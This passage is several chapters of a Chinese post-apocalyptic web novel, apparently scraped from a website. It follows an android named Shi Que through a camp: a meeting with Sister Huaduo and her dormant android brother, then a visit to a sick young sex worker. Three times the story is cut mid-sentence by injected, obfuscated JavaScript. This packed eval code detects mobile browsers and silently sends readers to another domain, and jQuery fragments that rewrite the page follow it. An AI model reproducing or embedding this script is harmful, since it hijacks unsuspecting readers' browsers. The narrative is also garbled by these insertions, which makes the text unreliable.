“用了很多新型武器,而且多为受限材料制成的新型武器,”沈司奥说,“自那之后,联合政体严格规范了受限材料的售卖和使用。” 两人走过这群老鹰抓小鸡的孩子。 77. 差异 时却感兴趣地问:“蝎子能弄到受限材料,你可以吗?” 沈司奥道:“走黑市途径的话,能搞到少量。非正规途径的受限材料很贵,只有帮派出于这样那样的原因会长期囤备。” 时却觉得可惜。明明是能大大降低狩猎伤亡率的先进技术,却因为政/治原因而被限制使用。 不过,从这一点可以看出,联合政体并不武德充沛。 相反,结合这些天的见闻,时却在认知中模糊地构建起了这样的一个形象: 一个立足于末世的官方,决策趋向于保守、力求维/稳、还有些孱弱。 也不知道对于这个世界来说,这样的执政者是否能确保人类社会尽可能地走得更加长远。 又走了会,一个眼熟的帐篷出现,里面坐着前几天时却见过的两名老人。 她还记得上回,她帮她们折了几根树枝。沈司奥觉得她们是蝎子的前中高层。 帐篷的门帘上卷着,数个取暖器围在这两名老人的脚边,让帐篷中从内向外射出明亮光线仿佛也带了几分暖融融的质感,形成一派与寒冷冬夜这四个字反差不小的气场。 两名老人火热地玩着斗地主,一个笑眯眯的,一个面色扭曲,唉声叹气地去挠鬓边挑染了黑色的银发。 挑染老人哼道:“对3。什么烂牌!” 笑眯眯的老人不急不慢地出牌:“正好,对4。” 大概约定了输的人要往脸上贴条,她们两张老脸上横七竖八地粘了不少纸条,唯一较为空旷的区域只有一双眼睛的周侧,乍看上去颇为滑稽。 “啊,这不是蝴蝶吗?”笑眯眯的老人看到时却,和她打招呼。 “听说你今天狩猎了株不得了的变异植物,辛苦了。不赶时间的话,一起来玩两把?” 时却婉转拒绝。 “人一看就是来找花朵的,哪有心情打牌,”挑染老人道,“这个点,花朵八成开会呢,不过……” 她乜斜时却一眼,“壁虎让你来的吧,他觉得行就行。直走右拐。对8。” 时却和沈司奥对视一眼,礼貌告别两位老人。 他们直走右拐,绕过几个帐篷,来到花朵姐的帐篷前。 里头传出些听不太清的多个人声,可时却没察觉到有很多人存在的气息。 看来挑染老人口中的"开会"是线上会议。 鉴于上次被说了“希望以后别再见你“的话,即便后来壁虎对此的评价是花朵姐口是心非,时却仍将自己预定位成一个不速之客。 她做好了被拒之门外的准备,拿胳膊肘捅一下沈司奥。 机械师会意,喊了声花朵姐,简单说明来意,再讲壁虎其实委托的是蝴蝶。 几秒钟后,帐篷内传出花朵姐冷淡的声音。 “哈,”她说,“算了,进来吧。” 机械师和仿生人彼此对视一眼,颇有些心惊胆战地撩开门帘。 暖融融的帐篷里咖啡味道浓郁,花朵姐捂着胃面无表情地坐在个角落里。 她穿一套米色常服,素面朝天,一旁立着个小桌板,上面放着好几罐开封了的咖啡,以及些包装完好的面包。 她的身前悬浮着一面主屏幕,主屏幕的两侧各有两面副屏,呈环状包围她。 这几面屏幕都没开隐私模式,时却可以见到其上显示的内容。 两面屏幕上显示了些表格,三面屏幕上显示的是花朵姐的会议对象。 其中两人时却不认识,剩下一人是顶着一双大熊猫眼,看上去快要因为睡眠不足而猝死的方文文。 晨晨闭着眼睛,乖巧地跪坐在距离花朵姐对侧。 他的样子没有任何改变,白衣上脏掉的痕迹甚至还是时却上次尽力清理完后的模样。 “你们两个,”花朵姐掀眼皮撇两人一眼,“边上站着等,我弄完手头的事情再吱声。” 她的目光额外地在时却身上停留两秒,淡淡道:“特别是你,蝴蝶,不许乱碰。” 时却摸摸鼻子。 明明不热,她也尴尬地拿手上的《复仇女神》做了两下扇风状,心知花朵姐是特别警告自己别靠近晨晨。 但是,既然这次给进来了,说明壁虎讲的对,花朵姐应该不像她口头说的那样,不喜欢自己。 时却眼珠子转了转,忽然得寸进尺地想: 她出去后,要问问老金,有没有什么黑街有没有什么免洗的衣物除污剂卖。 这几天,她还要再多问问壁虎需不需要跑腿。没有的话,也还有时间。她还打算在十二区待一阵子呢。 如果有下次,如果有下次…… 她想和花朵姐搞好关系,然后找个机会再碰一碰晨晨,再给他整理一下。 无论时却脑内如何展开,花朵姐是不再理会二人了,允自继续她的会议。 她盯着显示数据的屏幕,头也不转地说:“今天净水设备的保养,为什么用时大于三个小时?排的谁?” “小吴,”一面屏幕上的人弱弱地说,“他说那天状态不是很好。” 花朵姐:“不是说了,最近不让他接触高价值的设备?” “呃,恰好当时人手不太足。” “我本来不想路上说这事。”斜了罐咖啡往嘴里送,花朵姐轻声道。 “小吴又复吸了。现在还在路上,找辆车把他关起来,等到了十二区,换房间关,直到强制戒掉为止。和他说,戒不掉就砍掉右手,蝎子不要他,省得还要防他。” “净水设备,再找个人重新看一遍,找找有没有零件丢失。” 屏幕那边的人看上去很震惊。“他不是戒了很多年?!” “他亡妻前几天祭日,我一看他那个表情就不对,”花朵姐扯扯嘴角,“这事我有经验,他绝对复吸了。照我说的去做。还有别的吗?” “没了。” “下一位。” 另一个时却不认识的人早有准备,哦了声,平板无波地念起今天蝎子收到的救援情况。 时却和沈司奥两人杵在原地,一通听下来,倒也没听到什么敏感信息,只不过…… 他们发现,除去正儿八经打不过猎物屁滚尿流落荒而逃的情况外,救援对象的紫蝎,多是太倒霉了。 比如有个老兄,找百穿花的时候一脚踩进了不知是谁什么时候挖的陷阱里,差点没把屁股摔成八瓣。 还有个姐们意图截胡别人小队打了个半死的猎物,爬到树上伺机而动。 结果她胡倒是截成功了,夺命而逃时躲闪不及,被一只因被追逐而狂奔的猫兔绊倒,面朝下扑进一簇腐烂菇里,且没带任何解毒药。 半个小时后,等蝎子的救援队找到她时,人猎物早不知道丢哪去了,振振有词地硬说自己是折翼下凡的天使,等着七彩祥云从天而降接她飞升。 总之是陷入了相当中西合璧的一个幻觉里。 听了好半晌,时却总结:区外什么都有可能发生。运气是实力很重要的一部分。 以及…… 她压低声音:“花朵姐什么情况?” 沈司奥小声说:“我也不知道她原来能管事。” 他们凑在一块嘀咕不过两句话的功夫,花朵姐那边,会议进入尾声,来到由方文文发言的时间。 方文文打着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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全程旁观下来的时却目瞪口呆。 “怎么?”花朵姐往后一靠背,轻轻舒出口气,“发现我一个情妇定位的人竟然长了尖牙利爪,很吃惊?” 她疲惫地勾了勾唇,眼角挤出几缕代表岁月的细纹,拿起一个面包看了看,又再放回去。 “没有,”时却老老实实道,“我觉得你很厉害。” 花朵姐看她一眼,嘴角的弧度平了下来,没说话。 时却的确觉得花朵姐很厉害。 她眼前闪过晨晨记忆里瘦弱的小女孩,以及张开艳红嘴唇含烟的少女,想说些什么,但又知道有些事情,不是她一个外人该提起的。 何况那些记忆本身就是一个谜团。 考虑到自己还有个方才决定的“和花朵姐搞好关系”的计划,她绞尽脑汁,想在被赶客之前多说几句。 ……然后,一件不幸的事情顺理成章地发生了。 由于心绪的起伏加上急于找话题,时却的嘴巴快过了脑子。 “花朵姐,”她脱口而出,“每次见面,我都感觉你和上一次不太一样。哦,还有,壁虎说后面会多麻烦我跑腿来你这里,正好我也挺喜欢晨晨的,晨晨他——” 这下换沈司奥目瞪口呆。机械师见势不对,急中生智,咬咬牙,狠狠踩了仿生人一脚。 “……” 时却被踩清醒了。 在变得落针可闻的帐篷内。 78. 安全模式 时却尴尬得脚趾抠地,感觉自己能仅凭足部力量当场重建十三区。 花朵姐捡起一袋小面包,扫了一眼时却拿着的《复仇女神》,只道: “书随便放。他让你带话了?说。” 她显然非常了解壁虎。 时却本来觉得当传声筒就当传声筒,没什么大不了。 但有了自己胡言乱语在前的情况作铺垫,再张口打算传递壁虎要求的“通知”式口信…… 她突然觉得自己好像个太监角色。 还是个类似“王妃,王爷说了您什么时候服软了blabla”之类剧情里的太监。 这种角色定位绝对不利于和谐交友,无奈拿人钱财替人消灾,她硬着头皮开口: “壁虎讲,他这几天不过来了。” 果不其然,花朵姐嗤笑一声,毫不在意。她将手里的小面包丢给时却,可有可无地把一缕头发撩至耳后: “随便他。” ……抠出个十三区略显太保守,时却觉得自己能再连带抠个十二区出来。 “没别的了?”花朵姐低头看看腕上的终端。 了然这是委婉的送客举动,时却刚要放下诗集并配合地提出离开,一旁的晨晨有了新状况。 自他身体内部,传出一阵低缓的机械运转声。 花朵姐垂下眼皮,一挥手打散所有全息屏幕,动了动,更换成盘腿的坐姿。 “挺巧啊,”她支着下巴,神情难辨,“我设置的是夜晚随机启动,这也能让你们碰到。” 这话在时却脑子里绕了一圈,和上次同花朵姐见面时的记忆对上号。 花朵姐,说要让晨晨在安全模式下运行。 时却当即脚下再挪不动,厚着脸皮站在原地,想静待发展。 花朵姐倒也没说什么,托腮看着她的小仿生人,做出等待的姿态。 晨晨体内的那声音,运行得并不顺畅。 没几秒钟,它转为似老牛拉破车般的吱呀响动,且有一下没一下地,并不规律,给人以明显的阻塞感。 三四秒钟过去,滞涩的机械运转响动骤然停止,晨晨的眼皮颤动一下。 他缓缓睁开眼。 不知出于什么心思,花朵姐没将晨晨摆成面向自己的姿势,反而正对帐篷的进口。 于是在视线变得清明后,仿生人男孩第一眼看到的人是时却和沈司奥。 可他没有做出任何反应。 就像完全没看到时却二人,他以一种古怪的姿势动了起来。 ……说“动了起来”,还不太恰当。 像个头部可以单独转动的玩偶,晨晨仅木然地活动了自己脖子以上的部位。 用这种明显非人的活动姿势,在脖子以下的所有身体部位均不动弹为前提,这个小仿生人一卡一卡地转动起了脑袋。 以面对时却二人为起点,他朝背离花朵姐的方向梭巡了一遍,然后才看到了支着下巴的花朵姐。 他的眼睛骤然亮起来,变得富有神采,眉眼不再僵硬,流露出栩栩如生的拟人情态。 他像一只快乐的小狗,兴奋地爬身,扑进花朵姐的怀抱。 “姐姐!晚上好!” 花朵姐将身着脏衣的晨晨抱了个满怀,拍拍他的背,轻轻嗯了一声。 “晚上好,”她说,“今晚想做什么。” “想给姐姐画小花!” “可是很晚了,晨晨还是去睡觉吧。” “不晚呀……” 晨晨抬头殷切地看了花朵姐一眼,见她的态度没有软化,恋恋不舍道:“好吧,姐姐,那晨晨去睡觉了哦。晚安。” “晚安。”花朵姐松开手。 晨晨直起身,一步步地向后倒退,活灵活现的神态于每一下落脚时愈发隐没,像花瓣掉落一样片片凋零。 他所有对外释放的情感,诸如嘴角的弧度、因笑意而弯的眼睛、由此牵动的肌肉等等……均宛如一段倍速倒放的片段,被全数复位。 一种无机质的漠然,再度占据他带着几分婴儿肥和幼稚的脸。 仿生人晨晨默然地坐回花朵姐的对侧,重新闭上眼睛。 而时却已经不知道该如何去看待花朵姐的执念。 花朵姐当真说到做到。她让晨晨执行安全模式,就为了让他每天和自己打个招呼。 时却感觉腕上的终端振动了一下。她没有立即去看。 她朝沈司奥抛去个带询问意味的眼神,后者朝帐篷的进口转了转头,示意出去再说。 花朵姐拆开一个面包,面无表情地一口咬下大半。她仿佛极饿,没看他们中的任何一个,嘴里因塞了大块的食物而说话略显含糊。 “戏也看完了,你们还不走的话,是有什么观后感要讲?” “没有。”时却摇头。 她想说她哪里有这个资格呢?又生生忍住。 她对于花朵姐和晨晨往事的了解仅如管中窥豹,她当然不认为自己有资格评判花朵姐。 她永远不是那个经历过父母双亡、和弟弟相依为命、自年少起就在蝎子艰难求存的女孩。 花朵姐停下咀嚼的动作。 时却觉得自己还是该说些什么。 她想了想,颇有点债多了不愁地道: “那个,我也不知道你为什么刚刚没赶我们出去。花朵姐,我想你应该还是——” 沈司奥眼皮一跳,失色于她怎么在哪里跌倒就要在哪里再摔一次,无可奈何地做好了再踩同伴一脚的准备。 “——觉得我腿跑得还算不错。” 花朵姐、沈司奥:“……” 熟悉的沉默再度蔓延,帐篷里前一秒还颇为微妙的气氛立时无影无踪。 这两人多少露出了有点空白的神情,不确定这两者怎么能关联到一块去。 ……正脚趾抠地的时却,要的就是这个效果。 她扬扬手里的《复仇女神》,庆幸片刻前没有早早放下它,否则这会上哪找个缓和气氛、转移话题的道具。 暗自给自己绝妙的插科打诨举动点了个赞,时却顺势卖力推销自己,说如果花朵姐后面有需求的话,也可以找缺钱的她做些活儿。 末了,她图穷匕见,试图实现“开发新老板”这个阶段性的小目标:“比如我们可以先加个终端好友……” “蝴蝶,停,我不缺跑腿。”花朵姐神情微妙地按了按额角。 “书放下,你们可以走了。” 时却响亮地应了一声,对花朵姐察言观色。 看花朵姐虽然露出了几分无奈和“我到底在想什么”的意味,肩膀却放松了几分,时却乐观地认为,自己与晨晨的下一次接触八成有盼头。 她放下书,和沈司奥退出帐篷。 门帘闭合前,帐篷里的景象在她面前逐渐收敛: 那是融融暖风和明亮灯光下的花朵姐和晨晨。 花朵姐用正常的速度吃着面包,重新呼出了两面屏幕投影,看样子打算接着工作。 在她的前侧,晨晨闭眼如安眠状,不细看的话,当真似一个陷入沉睡的普通男孩。 ……如果忽略小仿生人身上脏污的白衣,这场景在不知情的人看来,也许确有几分亲姐弟共处的温馨意味。 走到帐篷几步开外,时却就等不及地去扯机械师的袖子,问他是否有从晨晨短暂的苏醒里发现什么。 “那什么安全模式,”她比划着,“这么短?” 从睁眼起,晨晨前前后后最多活动了十数秒。 “具体要看花朵姐怎么设置,”沈司奥解释道,“晨晨这个情况,硬要运行的话,活动的时间越短越好。” 时却听了,不禁扭头去看花朵姐的帐篷。 “至少作为一个使用者,”沈司奥小心斟酌着用词,“从这种设置来看,花朵姐还是愿意尽量避免晨晨的耗损。” 但不必要地令晨晨以安全模式运行的,却又也是她。 时却不知道该怎么接话。 沈司奥看一眼前路:“现在去搭帐篷?” “等等,我看个消息。” 想起在帐篷里时终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970675|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端震了一下,时却压了一下复杂的心绪,打开终端。是流萤给她发了消息,不过是个坏消息。 【姐,我生病了,刚才在睡觉……没有被蛰!不过这几天都不能过去了:(】 跟着还有一只小黑猫哇哇大哭的表情包。 感冒?痛经?III型辐射病恶化……不,这个应该不会,流萤有细雨的药。 还是遭遇到了什么别的事情? 一连串猜测井喷式地爆发,时却把守社交边界,忍住详细询问的欲/望,回复: 【你感觉怎么样?人在哪里?】 流萤立即回:【有点发烧。我在自己的帐篷里休息。】 和沈司奥说了这件事,时却想着今晚本该就是见流萤的时间,道:“我想过去探病。” 机械师觑她神色:“那,帐篷那边?” 时却先问流萤她能否过去,得到一个肯定的回答和一个猫猫开心的表情包后,道: “给蒋姐发信,问问她在哪。我们先去把帐篷搭了。” 言下之意是要打架的话得赶紧打,她赶时间去探病。 沈司奥没有意见,翻出石宇发过的定位。 * 其实,石宇帮忙占的位置很妙。 柳广知大概和他是从巢穴直奔的紫蝎扎营区域,到得很早;他们所占位置处在紫蝎扎营区域的边缘,却又同时相对其他的紫蝎扎营区域,更靠近整个扎营地的中心。 假设今夜还有花藤来袭,这会是整个紫蝎扎营区域里最安全的地方。 ……可想而知,这也是块香饽饽位置。 时却预先做好了要战斗,甚至要车轮战的准备。 二人赶到时,时间不晚,帐篷外的人不少,星点的户外灯之间,有许多紫蝎来往走动。 他们大多是巢穴里的熟面孔,或对抗变异狼那晚时却见过的人。 时却扫了一眼这片区域,非人的视力让她将一切景象清晰地尽收眼底: 地面上洒着因低温仍发红的血渍,东一块西一块。 有草的地方整片整片地倒,一看就是有人——不知道几个——在地上翻滚缠斗而压倒伏的。 为了扎营方便而被新锯的几个树墩上,各自横截面的部分和侧周面的部分,凹着几道凌乱的砍刀痕迹。 这些凌乱的痕迹在说明战况之混乱的同时,也侧面说明了今天的占位对抗已经结束。 空气中没有硝烟气味。没有动枪可能是紫蝎们最后的共识。 能让这共识形成的重要原因之一可能是: 这片区域现下挨挨挤挤地搭满了帐篷,帐篷和帐篷之间的缝隙留得比往常而言更小、更窄。 流弹可不长眼,谁要想因争抢位置而动枪,会先被群起而攻之。 时却留意了一下紫蝎们的状态。总体来说,人人身上带的伤较前一晚来说普遍更多、更重。 石宇更是不知道被谁来了几个重拳,整张脸带下巴糊满了晶亮的速合剂,乍一看跟敷了满脸芦荟胶似的。 他见到时却,边走上前,边咒骂着那个意图毁他容的不知名紫蝎。 “蝴蝶,”他打招呼道,“要帮忙搭帐篷不?” “不用,”时却看了看他,目光越过他,迟疑地停留在他身后的一处。 “我这里怎么……看着挺好?” 是的,挺好的。 石宇的身后下方正是他随手帮忙划下的矩形。 这个写着“蝴蝶占了”四个字的矩形,竟是这片“帐篷丛林”中唯一低凹下去的缺口。 这块的地面很干净,没什么乱七八糟的痕迹。 似乎从来没有紫蝎想过要来占这个位置,哪怕没人守着它。 “这个啊……”石宇试图咧嘴,扯动伤口,反而倒吸一口凉气。 等这口凉气抽完,他很恨道: “泥猪那个老阴货,把你弄死那株花藤的过程录下来了,卖了不少份出去。” “我X他!”这个高大的壮汉大声地骂骂咧咧,“要不是我当时傻了,哪里轮得到他?!” 79. 治疗仪 时却很想知道,这个末世有没有肖像权这个东西。 ……但就当下而言,涉及她的打斗视频传得越广,给她带来的好处很显而易见。 其效果差不多是虚空立了个“内有恶犬”的牌子,让任何别有所图的人都得先好好掂量掂量。 考虑到这点,时却索性端起了债多了不愁的心态。 她和石宇简单地聊了两句,无视他“我这脸你信不信一会就好”的抗议,强调自己绝不需要一个伤号帮忙,和沈司奥支起帐篷。 他们帐篷搭到一半时,蒋云霞赶到。 她身上有些许酒气,眼神清明,动作流利,显然只是小酌了点。 得知时却二人要打算去探病再晚点回来,她抖开自己的帐篷布,叫他们放心去。 “今晚的位置定下了,”她慢吞吞地说,“争不上就是争不上,拿不到手就是拿不到手,我们这些人很能接受现实。” 等一切收拾得差不多,沈司奥翻了个小药瓶出来丢给蒋云霞,说是爷爷生前自己做的解酒药。 “没留意从十三区带出来了,”他说,“我留着没用,给你了。现在不吃,留着以后吃也行。” 蒋云霞笑嘻嘻地接过。 她仰躺在自己的帐篷和时却二人的帐篷前,身下草草铺了睡袋,面朝夜空调出全息屏幕。 她以一只胳膊作枕,一条腿翘起搭在另一条屈着的腿上,嘴里哼唱出不知名的小调,一张张地翻看起某个照片集。 出于视角的限制,时却没法看清照片的具体内容,只隐约见到主人公基本全为蒋云霞、小杜、小杜表哥三人中的至少一个。 沈司奥:“走?” “走。” 由于没到深夜,粉蝎多还待在解压好去处,扎营区域里的人不多。 时却二人循着流萤发来的定位找过去,快要到时,就近一顶帐篷里钻出来个粉蝎。 这粉蝎时却不算脸生,是他们去找花朵姐时路上碰见的两个粉蝎的其中之一,气不过投诉给客人下泻药的那个。 一个多小时不见,不知道他经历过什么,脸色有些发白,肚子疼般微微佝偻着身子,嘴里不干不净地骂着脏话。 时却心里一动,摸了张小额纸钞走过去,在他挂上营业性微笑报价前赶忙说:“我只想打听点事情。” 粉蝎迟疑道:“客人,您说。” “如果你们生病了,得休息好几天的那种,老板会有意见吗?” 粉蝎微微一愣,想了想: “看情况,是因为接客生的病,老板会向客人额外收钱,这种休息就休息了,老板也会把收来的一部分钱分给我们。” 时却将纸钞递给他,客气道谢。粉蝎接过纸钞,在指间摩挲两下,叫住转身要走的时却二人。 “客人,”他也不知道脑补出了什么,面色中带出几分怜悯和了然,“大部分外伤涂速合剂后等着就行,我们为了省钱,一般不会去租治疗仪。” “您如果愿意给租一个治疗仪,我想您喜欢的人会很高兴。” 他颇为细致地给时却指路,说这附近有个厕所边上就能租到,用纸币或线上付款都行。 时却点头,又掏了点钱给他,和沈司奥折去那个粉蝎口中的地方。 所谓的“能租治疗仪的地方”,其实是个储物格子似的装置,被钉在厕所的侧板上,外带电子锁、入钞口和摄像机。 该装置的边上贴有小广告似的操作说明,操作说明再旁边则是另一张纸,上面写有租赁价格和租赁模式,以及加红加粗的注意事项。 注意事项的内容大意包括: 治疗仪带摄像记录功能,需要登录终端账号才能使用。 治疗仪可以被远程锁定和追踪,一旦超期不归还或检测到被拆卸,还能被远程操作炸人一脸。 总之是半威胁半劝告地让租赁人随用随拿,用完赶紧还。 时却在“计时收费”和“按天买断收费”这两种模式之间犹豫了一下,差不多掏光身上所有的钱,选择买下治疗仪的一天使用权。 她按操作说明的要求往入钞口塞了钱,装置的储物门应声打开,里头躺着个看上去十分老旧、处处掉漆的治疗仪。 治疗仪上被人用红笔潦草地写了句:“本仪器一天最多使用十分钟,否则会导致损坏,损坏需赔偿”。 ……怪不得还有“按天买断”这样的收费,原来是庄家根本不亏。 她取出治疗仪,随口问:“紫蝎那的厕所边上怎么没这玩意?” “不知道,”沈司奥也好奇,“我问问老金。” 老金秒回:【紫蝎刚治完后或治疗期间就死了的几率比较大,管理起来比较麻烦。】 ……乍一听有些离谱,仔细琢磨,好像又有点道理。 沈司奥看了看时却手里的治疗仪,中肯道:“你知道的吧,流萤可能用不上它。”如果她真的是纯生病。 “那就当长见识了,”时却说,“探病都要带水果的,这个就当水果替代品好了。” 她把治疗仪往机械师手上一递,贼兮兮让他找个随身背包里有的东西,将治疗仪的各个部分全“包装”一通,以免也许用过它的流萤可能会看出来处。 沈司奥扯了个塑料袋,沾上可撕胶带,将治疗仪胡乱缠了一通,让它的外观从“破败”顺利变质为“根本像由垃圾堆里捡来的”。 “很好,”时却相当满意,“先放你那,一会就说……是给我胳膊租的。” “行。” 他们原路折返,按定位靠近流萤的帐篷。 在还差几步就能伸手去够门帘时,时却拦住沈司奥,偏了偏头,低声道: “等等,里面还有个人,他和流萤好像在吵架,我听听……” 含糊不清的声音从帐篷里传出,时高时低。 时却听了几秒钟,仅能分辨出“药”和“借”两个字。 刷地一下,流萤的帐篷拉链被人急速拉开,门帘猛地上掀,一个男孩气呼呼地冲出来,看也不看时却二人,三两下跑没影了。 沈司奥看着男孩的背影:“那不是……叫什么来着,满天星?” “是他。”时却道。 满天星,那个曾为了救细雨而咬过壁虎的男孩。他和流萤起了什么冲突? 二人走近,时却叫了声流萤的名字。 “姐,”流萤略显虚弱的声音传出,“你们进来吧。” 流萤的帐篷是粉蝎统一的制式,空间不大,保暖性一般,温度比外界高不了几度。 再三确认门帘的拉链拉严实了,没漏风,时却才抬头流萤打招呼。 少女面色微红地半坐在睡袋上,穿着和往常没什么两样,依旧是棕色的外套和那身白色针织连衣裙。 她的双手覆在腹部,自腰往下盖着条厚毯,睡袋的枕处旁散着几透明自封袋,里头各装有颜色不一的药片。 细雨留给她的自封袋正在其中,里头的四片药片变为了三片。 它被一个更大些的自封袋套了起来,上头“给流萤姐”的蓝色笔记还清晰可见。 奇奇卧在帐篷的一个角落里双眼紧闭,边上是一个关着的行李箱。 时却没找到任何速合剂的痕迹,无论是不大的帐篷里,还是流萤身上。 “感觉怎么样?还烧吗?” 时却举起手背,作势要往流萤额头上靠。她放慢动作,确认流萤没有什么抗拒的表示,才真正去探流萤的体温。 与手背肌肤相贴的少女额头,略有些发热。 “低烧。要躺下吗?” 流萤点头,时却扶她躺好,给她掖实被子,退一步拉沈司奥坐下,把不大的帐篷挤的满满当当。 帐篷里的照明光源是一盏钩在内顶上的白色小灯,有可以调亮度的三档按钮,目前停在最高档。 时却参考记忆里那个社畜对发烧的感受和处理流程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975914|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问流萤需不需要把灯调暗些,冷不冷,想不想吃东西。 时却讲贯口似的噼里啪啦说了一通,流萤半点插不上话。 低烧自然是有些难受的。 流萤的确觉得有点冷,脑袋些许昏沉,时不时控制不住地浑身打抖。 她的嗓子疼,像吞了刀片一样;还有隐密处,阵阵刺痛。 不过这些东西不需要和眼前的两个紫蝎讲。 这是她的两名客人,不是今天碰到的那个肮脏的、恶心的客人,而是两名实打实的客人。 是怀着好意来探病的人。 她翻身侧对时却和沈司奥,眯了一下眼睛,努力驱动有些糊涂的脑袋,想说些俏皮话出来,活跃一下气氛。 不想时却当真以为她觉得灯光过于刺眼,站直了,伸手去够那个小灯。 紫蝎的阴影笼罩下来,短暂地覆盖住流萤的双眼。 ……流萤疑心自己根本不是低烧,反倒有些烧糊涂了,不然无法解释为什么自己明明眼前一暗,反而十分安心,几乎想就这样沉沉地睡去。 “哦,忘了最重要的一点,热水。想喝热水的话,我让沈司奥给你弄,我们把卡片炉带过来了。” 时却盘腿坐回流萤的侧边,继续絮絮叨叨,“你不知道吧,他那还有暖宝宝,贴身上的和贴脚的都有。” 沈司奥:“你要的话,我给你拿。” 流萤张了张嘴,第一次没能说出话,咬咬下嘴唇,第二次才笑起来,堪堪抛出句: “沈哥……他的装备怎么比我来月经时还齐全?” 说完,她后知后觉地反应过来这话可能调侃太过了些,脸色腾一下烧得更红。 时却二人当然不会在意这些细节。 “那是,我怀疑你比他壮实,”时却以哄病人为第一要务,张嘴就来,顺势损道,“他不一定打得过你。” 一阵间歇性的猛烈疼痛袭来,流萤向上拉了一下毯子,盖住下半张脸,遮住因痛楚而无法维持弧度的嘴角,只留出一双弯起来的眼睛。 “没事,笑吧,”沈司奥卸下身上的背包,无奈地抱在胸前,“她不是头一天觉得我是个弱鸡了。” “不笑你,”流萤轻轻说,“谢谢你们来看我。” “本来这块时间就是你的,”时却道,“累吗?如果想休息的话,我们现在就走,或者待到你睡着再走,看你。” “不累,”流萤细声细气地说,“姐,我们聊聊天吧。” 犹豫了一下,时却小心翼翼地问:“你这几天都要休息吗?陈老板那边没问题?” “没问题的。” “其实我今天有受伤,所以找蝎子的人租了个治疗仪,”时却卷起一点袖口,露出雪白的绷带,“我好得差不多了,它闲着也是闲着,你要不要用?” 不等流萤回答,她掏出那个被机械师妙手缠得十分可疑的治疗仪,极力推销: “我知道这玩意不管生病,不过你要身上有个什么小擦伤,正好蹭我的用呗,回头让奇奇给我做顿饭还。” “不使白不使,它过了今天就过期了。我们可以先出去,你用完了再叫我们进来。” 流萤脑子嗡地一下,仿佛被人兜头来了一锤子,头晕目眩。 她舔了舔有些发干的嘴唇,喉咙像被什么东西堵住,又似浸润在一池恰到好处的温水里。 她既想动一动,汲取更多热量,又害怕水波荡漾间,这梦一样的温度会飞快地散失于寒冷的空气中。 一把抓过治疗仪,整张毯子拉到盖过头顶,她在黑暗中张开嘴,用力地咬了自己的小臂一口,这才免于从嘴边泄露出任何呜咽声。 隔着厚实的毯子,她听见时却和沈司奥蹑手蹑脚地退出的声音。 傻子、呆子、没脑子。她恨恨地想。 “按天出租治疗仪”这种模式……是蝎子专门给粉蝎这边设的。 哪个蝎子的人会卖你一整天。 80. 倔强 寒风簌簌地刮,卷着枝叶往人身上打。 时却双腿岔开蹲着,随手捡了根树枝,在地上乱写乱画。 沈司奥站在她边上,看她三两下画出个火柴人,完后不过瘾,添上只狗;又过了会,在狗和火柴人的十几厘米开外,加上一对火柴人。 幼稚得和她来到这个世界上还不足半个月的时间很相称。 沈司奥还戴着时却在巢穴里递来的针织帽。 严格意义上说,这帽子是碰到时却的第二天他给她的,如今算物归原主。 他低头俯视时却,仿生人剃了板寸的脑袋看上去毛喇喇的。 沈司奥可以想象得出,这种短短发茬实在不太能挡风。 他扫走一片贴到脸上的叶子,动小腿碰了时却一下,摘下针织帽,弯腰套到她头上。 “我觉得你露馅了,”机械师用气音说,“流萤的表情不对。” 时却摸到针织帽帽沿上沈司奥名字的刺绣,依手感正了正脑袋上的帽子。 她手欠得很,完后咔嚓咔嚓地去掰断树枝上的几个枝杈,一副非得把它整成光杆才罢休的模样。 “不一定露馅,”她以气音回,把光秃秃的树枝捋了又捋,仿佛这是某种解压动作,“可能是单纯痛的。” 人忍受疼痛时,面部肌肉会不自觉地紧绷,呈现出更加用力控制的姿态。 光凭流萤勉强笑出来前不自然的停顿,时却就判断出她刻意隐瞒不适,方才是连忙引出的治疗仪。 她很快失去了对树枝的兴趣,咯一下把它掰断,拍拍手站起身,担忧地看了一眼门帘紧闭的帐篷。 呼号的冷风遮盖了绝大多数的细微响动,让人除啸声外,听不见其他值得留意的动静。 她默默计着时。 五分三十九秒过去,帐篷里传出些窸窣响动,随后是流萤的声音,让他们进去。 带着一身寒意,他们重新坐在流萤身侧,纷纷假装没看见少女微红的眼圈和鼻头。 时却只关心流萤的状态。 她看上去有了些精神,五官舒展开不少,面部肌肉不再紧绷,语调也有力许多。 流萤向时却道谢,以一只胳膊支着上半身。她交还治疗仪,上面粘着的塑料袋完好无损。 时却得意地给沈司奥递去个“你看吧”的眼神。后者无语地瞥回去。 流萤权当没看见他俩的眉眼官司。 她摆手轻柔地推开要来搀扶自己的时却,慢慢地起身,将内顶上的白灯调回最高档。 动作之间,在明亮的灯光下,她的裙边略显摇摆。 